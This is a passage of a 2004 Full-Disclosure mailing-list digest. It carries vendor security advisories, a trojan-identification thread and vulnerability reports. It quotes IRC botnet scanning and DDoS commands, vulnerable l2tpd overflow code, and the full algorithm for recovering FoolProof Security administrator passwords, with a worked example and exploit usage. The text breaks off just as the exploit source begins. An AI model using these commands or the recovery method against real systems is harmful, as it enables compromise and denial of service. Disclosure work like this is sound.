 97a04b5c44799791eb1574d72a77dd5a  amd64/9.2/SRPMS/krb5-1.3-3.1.92mdk.src.rpm

 Multi Network Firewall 8.2:
 e469005862622993d741efe18a973b4f  mnf8.2/RPMS/krb5-libs-1.2.2-17.6.M82mdk.i586.rpm
 007a6133daaec5e1c699ba303651f627  mnf8.2/SRPMS/krb5-1.2.2-17.6.M82mdk.src.rpm
 _______________________________________________________________________

 To upgrade automatically use MandrakeUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandrakesoft for security.  You can obtain
 the GPG public key of the Mandrakelinux Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandrakelinux at:

  http://www.mandrakesoft.com/security/advisories

 If you want to report vulnerabilities, please contact

  security_linux-mandrake.com

 Type Bits/KeyID     Date       User ID
 pub  1024D/22458A98 2000-07-10 Linux Mandrake Security Team
  <security linux-mandrake.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFAv6LEmqjQ0CJFipgRAmP2AJ9yz70XbcN/fd6EjyQcyQbyoddqEACg59bD
1nsN3/ilgIlGelRpvf4eJqw=
=EigO
-----END PGP SIGNATURE-----



From jim at becher.net  Fri Jun  4 04:27:58 2004
From: jim at becher.net (Jim Becher)
Date: Thu, 3 Jun 2004 22:27:58 -0500
Subject: [Full-Disclosure] anyone seen this worm/trojan  before?
In-Reply-To: <20040603192614.82582.qmail@web51510.mail.yahoo.com>
Message-ID: <NEBBICPLGHJNDCJBNFJNMEAOIBAA.jim@becher.net>

I have seen a little of this worm/trojan as well... same IP, Unreal v3.2 IRC
server.

I am leaning to the same conclusion as Josh.  Note: I said leaning, not
completely convinced.  I have seen in the IRC traffic some references to
lsass, including what I think might be the command-line to instruct the
infected machine to commence scanning -- "advscan lsass 100 5
1000 -b -r -s".  Haven't had a chance to look at the executable with any
detail yet... Also noticed this in the IRC traffic: "There are 1 users and
19496 invisible on 1 servers" and "ddos.random <IP Address> 10003 60 -s".

I am not overly familar with IRC servers, so I am reviewing RFC2811 and
Brocklesby's draft trying to understand the IRC traffic.

We submitted our copy of wkssvrs.exe to Symantec, yesterday I believe.



-bech

-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Harlan
Carvey
Sent: Thursday, June 03, 2004 2:26 PM
To: full-disclosure at netsys.com
Cc: Perrymon, Josh L.
Subject: Re: [Full-Disclosure] anyone seen this worm/trojan before?


Josh,

> I would like to know the attack vectors. I'm
> guessing LSASS.

If you don't know what the worm is, what would lead
you to guess that the infection vector is LSASS?  Is
there some other piece of information that you're not sharing?

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From WEHNERPL at UCMAIL.UC.EDU  Fri Jun  4 13:05:53 2004
From: WEHNERPL at UCMAIL.UC.EDU (Wehner, Paul (wehnerpl))
Date: Fri, 4 Jun 2004 08:05:53 -0400 
Subject: [Full-Disclosure] Using Xbox live for covert communication
Message-ID: <9BA6DCC15456CC46894E77233173DD7C157A3905@UCMAIL5>

Then why not find a friend in germany and pretend to plan a biological
attack? 
See how "un-monitored" and "private" it is then-:) 


-----Original Message-----
From: clarke at craftedpackets.net [mailto:clarke at craftedpackets.net] 
Sent: Thursday, June 03, 2004 12:25 PM
To: full-disclosure at netsys.com
Subject: [Full-Disclosure] Using Xbox live for covert communication

Recently, I subscribed to Xbox live. After playing on some of the games
online, I thought that this is a perfect place for covert communication. 

There rooms aren't monitored. You can open up private rooms and communicate
with invited friends. 

Who knows... :-) 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From dave at immunitysec.com  Fri Jun  4 15:03:18 2004
From: dave at immunitysec.com (Dave Aitel)
Date: Fri, 04 Jun 2004 10:03:18 -0400
Subject: [Full-Disclosure] NYC Security Shindig Version 2 (with punch and pie!)
Message-ID: <40C08126.3090507@immunitysec.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

New York City Security Shindig 2

Security Shindigs are ways for technical people in the Information
Security
industry to get together, view an informative technical presentation, and
otherwise have a good time.

Date/Time: Monday June 14th, 6pm
Location: Two Boots "Den of Cin" http://www.twoboots.com/theden/
44 Avenue A (at E 3rd Street) underneath Two Boots Video.

Speaker/Topic: Jamie Butler. Kernel Rootkits. I've seen the slidepack,
and it
was extremely interesting if you're interested in kernel rootkits,
which you should be. It focuses on Win32, but touches on Linux. Jamie
teaches a class on the
subject that has gotten nothing but good reviews, so you should
welcome this fre
e chance to see what he's got going on. I've been told there will be
demonstrati
ons and other excitement.

Extras: Free Soda and Pizza (toppings extra). Cash bar. Potential book
raffle!
Sponsor: Immunity, Inc. (www.immunitysec.com)
RSVP Contact: Dave Aitel - dave at immunitysec.com

Check the Daily Dave mailing list for updates and further information!


-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAwIElzOrqAtg8JS8RAsbqAJ98Y+Mx+/rhxwhBYeQV1SKIeGvQ6wCeIgvV
/LtVWnzTk3wwKUHc8iD9Ua4=
=nO5v
-----END PGP SIGNATURE-----



From alerts at integrigy.com  Fri Jun  4 18:55:52 2004
From: alerts at integrigy.com (Integrigy Security)
Date: Fri, 4 Jun 2004 12:55:52 -0500
Subject: [Full-Disclosure] Integrigy Security Alert - Multiple SQL Injection Vulnerabilities in Oracle E-Business Suite
Message-ID: <20040604175702.9071E4153@mail.integrigy.com>

______________________________________________________________________

Integrigy Security Alert
______________________________________________________________________
 
Oracle E-Business Suite - Multiple SQL Injection Vulnerabilities
June 3, 2004
______________________________________________________________________
 
Summary:
 
Multiple SQL injection vulnerabilities exist in the Oracle E-Business Suite
11i and Oracle Applications 11.0.  These vulnerabilities can be remotely
exploited simply using a browser and sending a specially crafted URL to the
web server.  A mandatory patch from Oracle is required to solve these
security issues.
 
Product:    Oracle E-Business Suite
Versions:   11.0.x, 11.5.1 - 11.5.8
Platforms:  All platforms
Risk Level: Critical
_____________________________________________________________________
 
Description:
 
Integrigy has discovered multiple SQL injection vulnerabilities in almost
all supported versions of Oracle Applications (11.0 and 11i).  Because
Oracle Applications 11i installs code for all product modules, all Oracle
Applications 11i customers are vulnerable to these SQL injection issues.
 
A SQL injection vulnerability allows an attacker to execute SQL statements
or database functions by inserting SQL code fragments into input fields of a
web page.  Due to the design of Oracle Applications, a SQL injection attack
can easily and effectively compromise the entire database and application.
 
Customers with Internet facing application servers are most vulnerable since
these vulnerabilities can be exploited remotely using a browser.  Since
attacks can be specially crafted for Oracle Applications and an attack may
only be a single HTTP Get or Post, successful attacks can be easily designed
that will evade most intrusion detection and prevention systems.
 
Solution:
 
Oracle has released a patch for Oracle Applications 11.0 and the Oracle
E-Business Suite 11i to correct these vulnerabilities.
 
The following Oracle patches must be applied --
 
      Version     Patch
      -------     -----
      11i         3644626     (11.5.1 - 11.5.8)
      11.0        3648066     (all versions) 
 
The patch availability matrix is available in Oracle Metalink Note ID
274375.1.
 
Oracle Applications 11i customers that have applied both the Report Manager
Mini-pack B (11i.FRM.B) or greater AND Marketing Suite Family Pack B
(11i.MKT_PF.B) do NOT need to apply a patch for these vulnerabilities -
these patch levels are included in 11.5.9.
 
All Oracle Applications customers should consider this vulnerability
extremely high risk and apply the above patch at the earliest possible
opportunity.  Customers with Internet facing application servers should
apply the patch immediately.
 
Appropriate testing and backups should be always performed before applying
any patches.
 
Additional Information:
 
  http://www.integrigy.com/resources.htm
  http://otn.oracle.com/deploy/security/pdf/2004alert67.pdf
  Metalink Note ID 274356.1 (Oracle Security Alert)
  Metalink Note ID 274375.1 (Patch Availability Matrix)
 
For more information or questions regarding this security alert, please
contact us at alerts at integrigy.com.
 
Integrigy has included checks for these vulnerabilities in AppSentry, a
vulnerability scanner for Oracle Applications, and AppDefend, an application
intrusion prevention system for Oracle Applications.
 
Credit:
 
This vulnerability was discovered by Stephen Kost of Integrigy Corporation.
______________________________________________________________________
 
About Integrigy Corporation (www.integrigy.com)
 
Integrigy Corporation is a leader in application security for large
enterprise, mission critical applications. Our application vulnerability
assessment tool, AppSentry, assists companies in securing their largest and
most important applications. Integrigy Consulting offers security assessment
services for leading ERP and CRM applications.
 
For more information, visit www.integrigy.com.



From derek at medien.akbild.ac.at  Fri Jun  4 19:02:46 2004
From: derek at medien.akbild.ac.at (Derek)
Date: Fri, 04 Jun 2004 19:02:46 +0100
Subject: [Full-Disclosure] Out of Office
Message-ID: <web-3990720@medien.akbild.ac.at>

I am out of office until 10th of June, please be patient
with the email correspondence to catch up.

derek holzer



From debian-security-announce at lists.debian.org  Fri Jun  4 19:13:25 2004
From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org)
Date: Fri, 4 Jun 2004 20:13:25 +0200 (CEST)
Subject: [Full-Disclosure] [SECURITY] [DSA 514-1] New Linux 2.2.20 packages fix local root exploit (sparc)
Message-ID: <m1BWJC1-000ofEC@finlandia.Infodrom.North.DE>

An embedded and charset-unspecified text was scrubbed...
Name: not available
Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20040604/e1804639/attachment.ksh 

From PerrymonJ at bek.com  Fri Jun  4 20:11:26 2004
From: PerrymonJ at bek.com (Perrymon, Josh L.)
Date: Fri, 4 Jun 2004 14:11:26 -0500 
Subject: [Full-Disclosure] another new worm submission
Message-ID: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b>

http://www.detroit-x.com/analysis.htm

This is something we found this morning. I have packet captures that I will
post.
I have attached the infected files found with FPORT and also registry
entries.

We found this rebooting machines with the LSASS.exe error similar to Sasser.
As of 6/4/2004 we found no virus defs to pick it up.


Joshua Perrymon
Sr. Network Security Consultant

PGP Fingerprint
51B8 01AC E58B 9BFE D57D  8EF6 C0B2 DECF EC20 6021

**********CONFIDENTIALITY NOTICE**********
The information contained in this e-mail may be proprietary and/or 
privileged and is intended for the sole use of the individual or 
organization named above.  If you are not the intended recipient or an 
authorized representative of the intended recipient, any review, copying
or distribution of this e-mail and its attachments, if any, is prohibited.
If you have received this e-mail in error, please notify the sender
immediately by return e-mail and delete this message from your system.





From aluigi at altervista.org  Fri Jun  4 20:24:11 2004
From: aluigi at altervista.org (Luigi Auriemma)
Date: Fri, 4 Jun 2004 19:24:11 +0000
Subject: [Full-Disclosure] Colin McRae Rally 04 broadcast clients crash
Message-ID: <20040604192411.7ee71a81.aluigi@altervista.org>

#######################################################################

                             Luigi Auriemma

Application:  Colin McRae Rally 04
              http://www.codemasters.com/colinmcraerally04/
Versions:     1.0
Platforms:    Windows
Bug:          bad allocation (?)
Risk:         medium
Exploitation: remote, versus clients (broadcast)
Date:         04 June 2004
Author:       Luigi Auriemma
              e-mail: aluigi at altervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Colin McRae Rally 04 is the famous rally game developed by Codemasters
and released at the beginning of April 2004.


#######################################################################

======
2) Bug
======


The bug is in a value that the servers send back to the clients when
they enter in the multiplayer menu.
The bugged value is the number of players in the server ("numplayers"),
if it is too high it causes the crash of the client.

Due the location of the bug, any vulnerable client can't play online
because it automatically requests informations to all the online
servers so a single malicious server can passively block the entire
game network.


#######################################################################

===========
3) The Code
===========


http://aluigi.altervista.org/poc/cmr4cdos.zip


#######################################################################

======
4) Fix
======


No fix.
Two months for a patch is not what I mean with "quick fix".
The bug was found just two days after the pubblic release of the game
and quickly noticed to the developers, but no patch has been released
yet.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org



From thomas-bugtraq at unproved.org  Fri Jun  4 19:53:52 2004
From: thomas-bugtraq at unproved.org (Thomas Walpuski)
Date: Fri, 4 Jun 2004 18:53:52 +0000
Subject: [Full-Disclosure] bss-based buffer overflow in l2tpd
Message-ID: <20040604185352.GA4800@unproved.org>

All versions of l2tpd contain a bss-based buffer overflow. After
circumventing some minor obstacles (i.e., faking a L2TP tunnel
establishment) the overflow can be triggered by sending a specially
crafted packet.

The crucial code can be found in write_packet() in control.c:

    static unsigned char wbuf[MAX_RECV_SIZE];
    int pos = 0;
    [..]
    e = PPP_FLAG;
    wbuf[pos++] = e;
    for (x = 0; x < buf->len; x++)
    {
        e = *((char *) buf->start + x);
        if ((e < 0x20) || (e == PPP_ESCAPE) || (e == PPP_FLAG))
        {
            /* Escape this */
            e = e ^ 0x20;
            wbuf[pos++] = PPP_ESCAPE;
        }
        wbuf[pos++] = e;

    }
    wbuf[pos++] = PPP_FLAG;

Nota bene: buf->len can be upto 4080 = 4096 (=: MAX_RECV_SIZE) - 16.

It might be hard or even impossible to exploit this buffer overflow.

Thomas Walpuski



From koon at gentoo.org  Fri Jun  4 20:30:59 2004
From: koon at gentoo.org (Thierry Carrez)
Date: Fri, 04 Jun 2004 21:30:59 +0200
Subject: [Full-Disclosure] [ GLSA 200406-01 ] Ethereal: Multiple security problems
Message-ID: <40C0CDF3.4080003@gentoo.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200406-01
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Ethereal: Multiple security problems
      Date: June 04, 2004
      Bugs: #51022
        ID: 200406-01

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple vulnerabilities including one buffer overflow exist in
Ethereal, which may allow an attacker to run arbitrary code or crash
the program.

Background
==========

Ethereal is a feature rich network protocol analyzer.

Affected packages
=================

    -------------------------------------------------------------------
     Package                /   Vulnerable   /              Unaffected
    -------------------------------------------------------------------
  1  net-analyzer/ethereal       <= 0.10.3                   >= 0.10.4

Description
===========

There are multiple vulnerabilities in versions of Ethereal earlier than
0.10.4, including:

* A buffer overflow in the MMSE dissector.

* Under specific conditions a SIP packet could make Ethereal crash.

* The AIM dissector could throw an assertion, causing Ethereal to
  crash.

* The SPNEGO dissector could dereference a null pointer, causing a
  crash.

Impact
======

An attacker could use these vulnerabilities to crash Ethereal or even
execute arbitrary code with the permissions of the user running
Ethereal, which could be the root user.

Workaround
==========

For a temporary workaround you can disable all affected protocol
dissectors by selecting Analyze->Enabled Protocols... and deselecting
them from the list. However, it is strongly recommended to upgrade to
the latest stable release.

Resolution
==========

All Ethereal users should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=net-analyzer/ethereal-0.10.4"
    # emerge ">=net-analyzer/ethereal-0.10.4"

References
==========

  [ 1 ] Ethereal enpa-sa-00014
        http://www.ethereal.com/appnotes/enpa-sa-00014.html

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-01.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAwM3zvcL1obalX08RAhWVAJ9e+BRSYi4AZA3Us7+0ib59Qyrk4gCcCdtJ
LqivdVf6W1IyR49JPaAOoMc=
=P4XV
-----END PGP SIGNATURE-----



From galt at locutus.isu.edu  Fri Jun  4 20:57:16 2004
From: galt at locutus.isu.edu (John Galt)
Date: Fri, 4 Jun 2004 13:57:16 -0600 (MDT)
Subject: [Full-Disclosure] Out of Office
In-Reply-To: <web-3990720@medien.akbild.ac.at>
References: <web-3990720@medien.akbild.ac.at>
Message-ID: <Pine.LNX.4.58.0406041356470.1133@locutus.isu.edu>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


How much do you want to bet that he will be 0wned before then? ;P

On Fri, 4 Jun 2004, Derek wrote:

> I am out of office until 10th of June, please be patient
> with the email correspondence to catch up.
>
> derek holzer
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

- -- 
The Internet must be a medium for it is neither Rare nor Well done!
<a href="mailto:galt at locutus.isu.edu">John Galt </a>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Made with pgp4pine 1.76

iD8DBQFAwNQm+TX+nYGFQPsRAuAcAJ9Aii7ETU/Rq9UwTHRaJW5cfLcFeACgpWOH
DaYREnElW6KGr8Uu98bz5Ys=
=kRgL
-----END PGP SIGNATURE-----



From api at epost.de  Fri Jun  4 21:22:16 2004
From: api at epost.de (Axel Pettinger)
Date: Fri, 04 Jun 2004 22:22:16 +0200
Subject: [Full-Disclosure] another new worm submission
References: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b>
Message-ID: <40C0D9F8.2FD2E679@epost.de>

"Perrymon, Josh L." wrote:
> 
> http://www.detroit-x.com/analysis.htm
> 
> This is something we found this morning. I have packet captures that I 
> will post.
> I have attached the infected files found with FPORT and also registry
> entries.
> 
> We found this rebooting machines with the LSASS.exe error similar to 
> Sasser. As of 6/4/2004 we found no virus defs to pick it up.

The malware (MD5: 2501c5d989229a6ab02146f7d2c1f6d8) is identified as ...

BitDefender : Backdoor.Dumador.AI
CA Vet      : Win32.Bambo.L trojan
DrWeb       : BackDoor.Dumaru
Eset        : Win32/Dumador.AI trojan
Kaspersky   : Backdoor.Dumador.ai
McAfee      : BackDoor-CCT
Symantec    : Backdoor.Nibu.G
Trend Micro : TROJ_DUMARIN.H

Description:
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=TROJ_DUMARIN.H&VSect=T

Regards,
Axel Pettinger



From insecure at ameritech.net  Fri Jun  4 21:55:05 2004
From: insecure at ameritech.net (insecure)
Date: Fri, 04 Jun 2004 15:55:05 -0500
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b>
References: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b>
Message-ID: <40C0E1A9.5080705@ameritech.net>

Perrymon, Josh L. wrote:

>http://www.detroit-x.com/analysis.htm
>
>This is something we found this morning. I have packet captures that I will
>post.
>I have attached the infected files found with FPORT and also registry
>entries.
>
>We found this rebooting machines with the LSASS.exe error similar to Sasser.
>As of 6/4/2004 we found no virus defs to pick it up.
>
>
>Joshua Perrymon
>Sr. Network Security Consultant
>
>  
>
McAfee 7.1.0 with DAT 4364 (6/2/04) detects it as BackDoor-CCT.  This is 
not a worm, it's a trojan. Your systems are being remotely compromised, 
possibly with an auto-rooter targeting the lsass vulnerability, which 
instructs the compromised system to download, install, and run this 
trojan. This trojan includes a keystroke logger, and additional 
components that you seem to have missed. Assume that system and any web 
site passwords have been compromised. Warn the users of these systems 
that unless they change any financial site passwords they are likely to 
be victims of theft.

How are these system getting compromised? Why don't you have this patch 
deployed yet? Why are these systems reachable from the Internet over 
port 445?

You've got more problems than new worms.



From koon at gentoo.org  Fri Jun  4 22:44:37 2004
From: koon at gentoo.org (Thierry Carrez)
Date: Fri, 04 Jun 2004 23:44:37 +0200
Subject: [Full-Disclosure] [ GLSA 200406-02 ] tripwire: Format string vulnerability
Message-ID: <40C0ED45.9080602@gentoo.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200406-02
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: tripwire: Format string vulnerability
      Date: June 04, 2004
      Bugs: #52945
        ID: 200406-02

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A vulnerability allowing arbitrary code execution under certain
circumstances has been found.

Background
==========

tripwire is an open source file integrity checker.

Affected packages
=================

    -------------------------------------------------------------------
     Package             /   Vulnerable   /                 Unaffected
    -------------------------------------------------------------------
  1  app-admin/tripwire      <= 2.3.1.2                  >= 2.3.1.2-r1

Description
===========

The code that generates email reports contains a format string
vulnerability in pipedmailmessage.cpp.

Impact
======

With a carefully crafted filename on a local filesystem an attacker
could cause execution of arbitrary code with permissions of the user
running tripwire, which could be the root user.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All tripwire users should upgrade to the latest stable version:

    # emerge sync

    # emerge -pv ">=app-admin/tripwire-2.3.1.2-r1"
    # emerge ">=app-admin/tripwire-2.3.1.2-r1"

References
==========

  [ 1 ] Bugtraq Announcement

http://www.securityfocus.com/archive/1/365036/2004-05-31/2004-06-06/0

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-02.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAwO1FvcL1obalX08RAkrZAJ9Q7rq0lHme7mugx5gqNJsQA1+4fACgoByQ
1bQVhKo0jRXswMknBjPSVn4=
=t7dZ
-----END PGP SIGNATURE-----



From pauls at utdallas.edu  Fri Jun  4 23:05:45 2004
From: pauls at utdallas.edu (Paul Schmehl)
Date: Fri, 04 Jun 2004 17:05:45 -0500
Subject: [Full-Disclosure] another new worm submission
In-Reply-To: <40C0E1A9.5080705@ameritech.net>
References: <5E1F351F4AE1D611A7FE00B0D0AB064A023532AB@is6b>
 <40C0E1A9.5080705@ameritech.net>
Message-ID: <47190000.1086386745@utd49554.utdallas.edu>

--On Friday, June 04, 2004 03:55:05 PM -0500 insecure 
<insecure at ameritech.net> wrote:
>
> McAfee 7.1.0 with DAT 4364 (6/2/04) detects it as BackDoor-CCT.  This is
> not a worm, it's a trojan. Your systems are being remotely compromised,
> possibly with an auto-rooter targeting the lsass vulnerability, which
> instructs the compromised system to download, install, and run this
> trojan. This trojan includes a keystroke logger, and additional
> components that you seem to have missed. Assume that system and any web
> site passwords have been compromised. Warn the users of these systems
> that unless they change any financial site passwords they are likely to
> be victims of theft.
>
> How are these system getting compromised? Why don't you have this patch
> deployed yet? Why are these systems reachable from the Internet over port
> 445?
>
For someone who knows nothing about his network, you sure are willing to 
make a lot of assumptions.  You admit you don't know how the systems were 
compromised and you don't know what compromised them, yet you castigate him 
for leaving port 445 open and not patching and you assume this happened 
*remotely*?

> You've got more problems than new worms.
>
One of which is miserable comforters.

Paul Schmehl (pauls at utdallas.edu)
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/ir/security/



From randallm at fidmail.com  Sat Jun  5 00:30:23 2004
From: randallm at fidmail.com (RandallM)
Date: Fri, 4 Jun 2004 18:30:23 -0500
Subject: [Full-Disclosure] xabot or sdbot or spybot...
Message-ID: <200406042330.i54NUBv04878@netsys.com>

--__--__--

>Message: 21
>Date: Fri, 04 Jun 2004 00:08:23 +0200
>From: Axel Pettinger <api at epost.de>
>Organization: API
>To: "Perrymon, Josh L." <PerrymonJ at bek.com>, full-disclosure at netsys.com
>Subject: Re: [Full-Disclosure] anyone seen this worm/trojan  before?

>"Perrymon, Josh L." wrote:
>> 
>> I found this worm/ trojan on a laptop. Ran FPort and found the .exe.
>> Doesn't look like it propagates to other machines but rather communicates
>> with a compromised
>> web companies server using IRC. The compromised server has removed the
IRC
>> service. Only sends RST packets back.
>> 
><snip>
>> I would like to know the attack vectors. I'm guessing LSASS.

>AntiVirus scanners identify our trojan as:

>BitDefender : Backdoor.SDBot.Gen
>Kaspersky   : Backdoor.Rbot.gen
>McAfee      : W32/Sdbot.worm.gen.g 
>Symantec    : W32.Spybot.Worm 
>Trend Micro : WORM_SPYBOT.AP

>From a quick look at the file I'd say the following is the best 
>description of that trojan. There're several attack vectors ...

>http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_SPYBOT
.AP&VSect=T

>Regards,
>Axel Pettinger



I'd like to throw something in here. While scanning with Spybot 1.3 it came
to a halt with an error. The error was an
"Xabot" error. After many attempts to figure this out I searched Xabot. This
lead to Symantics site 
http://securityresponse.symantec.com/avcenter/venc/data/w32.xabot.worm.html
and http://www.sophos.com/virusinfo/analyses/w32sdbotna.html where it is
associated with Sdbot. 

Well, for sure I am having a hell of a time finding it as all conventional
means have failed. 3 online scans. 3 scans in safe mode. Hijack This,
Swat-it, Bazooka and still Spybot is halted with the error. I uninstalled
Spybot three times. It seems I have a remnant somewhere.

thank you
Randall M
?




From advisories at cyrillium.com  Fri Jun  4 23:30:48 2004
From: advisories at cyrillium.com (advisories at cyrillium.com)
Date: Fri, 4 Jun 2004 18:30:48 -0400 (EDT)
Subject: [Full-Disclosure] [CYSA-0329] Password recovery vulnerability in FoolProof Security 3.9.x for Windows 95/9
Message-ID: <200406042230.i54MUmv20169@netsys.com>

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Cyrillium Security Advisory CYSA-0329                 advisories at cyrillium.com
http://www.cyrillium.com/            Cyrillium Security Solutions and Services
April 29th, 2004
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Severity: High (Password Compromise)

Vendor:
SmartStuff Software (member of Riverdeep Interactive Learning, Inc.)

Affected Products:
FoolProof Security 3.9.x for Windows 98/98SE/Me

Unaffected Products:
FoolProof Security for Macintosh
FoolProof Security for Windows XP and Windows 2000

1. Problem Description

    Cyrillium Security Solutions and Services has discovered a vulnerability
    in the password recovery feature of FoolProof Security that allows an
    attacker to recover the "Administrator" password using the "Control"
    password and password recovery key.

    FoolProof for Macintosh and FoolProof for Windows XP & 2000 are not
    affected because they do not support the password recovery feature.

2. Details
    
    Passwords are stored as 16-byte, zero-padded ASCII strings. When FoolProof
    Security is installed, an "Administrator" password must be specified.
    Either the "Administrator" password or the "Control" password may be used
    to access the FoolProof control panel and to bypass the Bootlock and
    Keylock protection features. If the "Control" password is forgotten or
    compromised, the "Administrator" password can be used to either enter the
    FoolProof control panel to change the "Control" password or to determine
    the "Control" password from the password recovery key.

    The password recovery key is a 32-character hexadecimal string that can be
    obtained by holding down the Shift key and pressing "OK" in the FoolProof
    control panel's initial password dialog box. The ADMINPW.EXE program on
    the FoolProof Security installation diskette calculates the "Control"
    password from the "Administrator" password and the password recovery key.

    The ADMINPW.EXE program combines the zero-padded "Administrator" password
    with the password recovery key using the bitwise exclusive OR (XOR)
    operation. Next, the ASCII string "D:SKFOIK@(*EHJFL" is subtracted from
    the previous result (one byte at a time). The final result is the
    "Control" password.

    If C represents the "Control" password, A represents the "Administrator"
    password,  B represents the ASCII string "D:SKFOIJ@(*EHJFL", and K
    represents the password recovery key, then manipulating the formula:
        C = (A xor K) - B
    yields:
        A = (C + B) xor K
    Thus, the "Administrator" password can be calculated if the "Control"
    password and password recovery key are known.

    The password recovery key is trivial to obtain by holding down the Shift
    key and pressing "OK" in the FoolProof control panel's initial password
    dialog box. If the "Control" password is compromised, the "Administrator"
    password can be compromised as well.

    Example:
    
    Administrator password is "12345":
        A = 31 32 33 34 35 00 00 00 00 00 00 00 00 00 00 00 (hexadecimal)
    Control password is "HelloWorld":
        C = 48 65 6C 6C 6F 57 6F 72 6C 64 00 00 00 00 00 00
    Recovery key (reported by FoolProof control panel):
        K = BD AD 8C 83 80 A6 B8 BC AC 8C 2A 45 48 4A 46 4C
    Offsets (constant):
        B = 44 3A 53 4B 46 4F 49 4A 40 28 2A 45 48 4A 46 4C

    Recovery process (ADMINPW.EXE algorithm):
        A xor K = 8C 9F BF B7 B5 A6 B8 BC AC 8C 2A 45 48 4A 46 4C
        (A xor K) - B = 48 65 6C 6C 6F 57 6F 72 6C 64 00 00 00 00 00 00
        (A xor K) - B = "HelloWorld" = Control password

    Reverse recovery process:
        C + B = 8C 9F BF B7 B5 A6 B8 BC AC 8C 2A 45 48 4A 46 4C
        (C + B) xor K = 31 32 33 34 35 00 00 00 00 00 00 00 00 00 00 00
        (C + B) xor K = "12345" = Administrator password

    The "Administrator" password can be successfully determined knowing only
    the "Control" password and the password recovery key.

4. Exploit
    
    The following program calculates the "Administrator" password from the
    password recovery key and the "Control" password.
    
    Usage:
        
        Invoke the program with the following arguments:

        foolpw HEXADECIMAL_RECOVERY_KEY CONTROL_PASSWORD

        Example:

        C:\> foolpw BDAD8C8380A6B8BCAC8C2A45484A464C HelloWorld
        12345
    
    Source code:

/*

foolpw.c
Copyright (C) 2004 Cyrillium Security Solutions and Services.

Demonstrates a weakness in FoolProof Security password recovery system. See
CYSA-0329 for details.

